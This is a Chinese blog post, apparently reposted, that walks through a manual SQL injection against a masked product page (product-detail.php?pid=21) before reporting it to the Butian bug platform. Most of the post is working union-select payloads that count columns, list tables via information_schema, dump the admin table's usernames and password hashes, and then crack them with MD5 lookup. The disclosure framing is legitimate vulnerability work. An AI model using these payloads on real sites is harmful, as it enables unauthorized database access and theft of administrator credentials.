• 纯手工注入


    开门见山


    昨年提交补天的一个漏洞。扫到一个站存在SQL注入,放到阿D、明小子上猜解失败,欲放弃,突然打算试一下手工注入。

    1. 验证是否可注入

    http://www.xxx.com.cn/product-detail.php?pid=21’ 

     再用 and 1=1and 1=2验证

    确定有注入

     

    2. 猜字段

    http://www.xxx.com.cn/product-detail.php?pid=21 order by 37  正常页面

    http://www.xxx.com.cn/product-detail.php?pid=21 order by 38 报错页面

    字段数为37

     

    3. 暴出字段位置

    http://www.xxx.com.cn/product-detail.php?pid=21 UNION SELECT 1,2,3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22,23,24,25,26,27,28,29,30,31,32,33,34,35,36,37

     

    4. 暴库和管理员信息

    http://www.xxx.com.cn/product-detail.php?pid=21 UNION SELECT 1,2,3,4,5,6,7,8,user(),10,11,database(),13,14,15,16,17,18,19,20,21,22,23,24,25,26,27,28,29,30,31,32,33,34,35,36,37

     

    得到库名管理员信息 

    5. 列当前库的表名

    库名的十六进制编码   0x736565xxxxxx6E67

     

    http://www.xxx.com.cn/product-detail.php?pid=21 union select 1,group_concat(table_name),3,4,5,6,7,8,user(),10,11,database(),13,14,15,16,17,18,19,20,21,22,23,24,25,26,27,28,29,30,31,32,33,34,35,36,37 from information_schema.tables where table_schema=0x736565xxxxxx6E67

     

    表名太多用审核元素列开查看

    猜想 admin 或者 admin_login 可能是存放管理员账号与密码的表

     

    6. 在第17个字段暴出admin_login表的字段

    admin_login  十六进制编码     0x61646D696Exxxxxxxx696E

     

    http://www.xxx.com.cn/product-detail.php?pid=21 union select 1,group_concat(table_name),3,4,5,6,7,8,user(),10,11,database(),13,14,15,16,group_concat(column_name),18,19,20,21,22,23,24,25,26,27,28,29,30,31,32,33,34,35,36,37 from information_schema.columns where table_name=0x61646D696Exxxxxxxx696E

     

    字段   id,username,ip,ctime,id,ip,ctime,username

    7. 再在第17个字段暴出admin表的字段

    admin  十六进制编码    0x61646xxx6E

     

    http://www.xxx.com.cn/product-detail.php?pid=21 union select 1,group_concat(table_name),3,4,5,6,7,8,user(),10,11,database(),13,14,15,16,group_concat(column_name),18,19,20,21,22,23,24,25,26,27,28,29,30,31,32,33,34,35,36,37 from information_schema.columns where table_name=0x61646xxx6E

    审核元素列开查看

    admin表的字段:id,username,password,ctime,logintime,loginsum,id,username,password,permission,ctime,logintime,loginsum

     

    8. 暴出字段内容

    0x3a 的十六进制是 : 用来分隔字段内容

     

    http://www.xxx.com.cn/product-detail.php?pid=21 union select 1,2,3,4,5,6,7,8,user(),10,11,database(),13,14,15,group_concat(username,0x3a,password),17,18,19,20,21,22,23,24,25,26,27,28,29,30,31,32,33,34,35,36,37 from admin

     

    得到字段内容,也就是管理员登录账号

    使用MD5解密

    9. 提交补天漏洞平台

     

     不到一周,得到厂商回复和肯定。


  • 相关阅读:
    八、JVM视角浅理解并发和锁
    七、JVM类加载机制
    六、JVM命令和工具
    五、jvm垃圾回收3(几种垃圾收集器)
    四、JVM垃圾回收2(垃圾收集算法)
    jvm引用类型
    三、JVM垃圾回收1(如何寻找垃圾?)
    【原创】Android 对话框的使用
    【原创】CMD常用命令:解决实际问题
    【原创】开机出现grub rescue,修复办法
  • 原文地址:https://www.cnblogs.com/joker-vip/p/12266881.html
Copyright © 2020-2023  润新知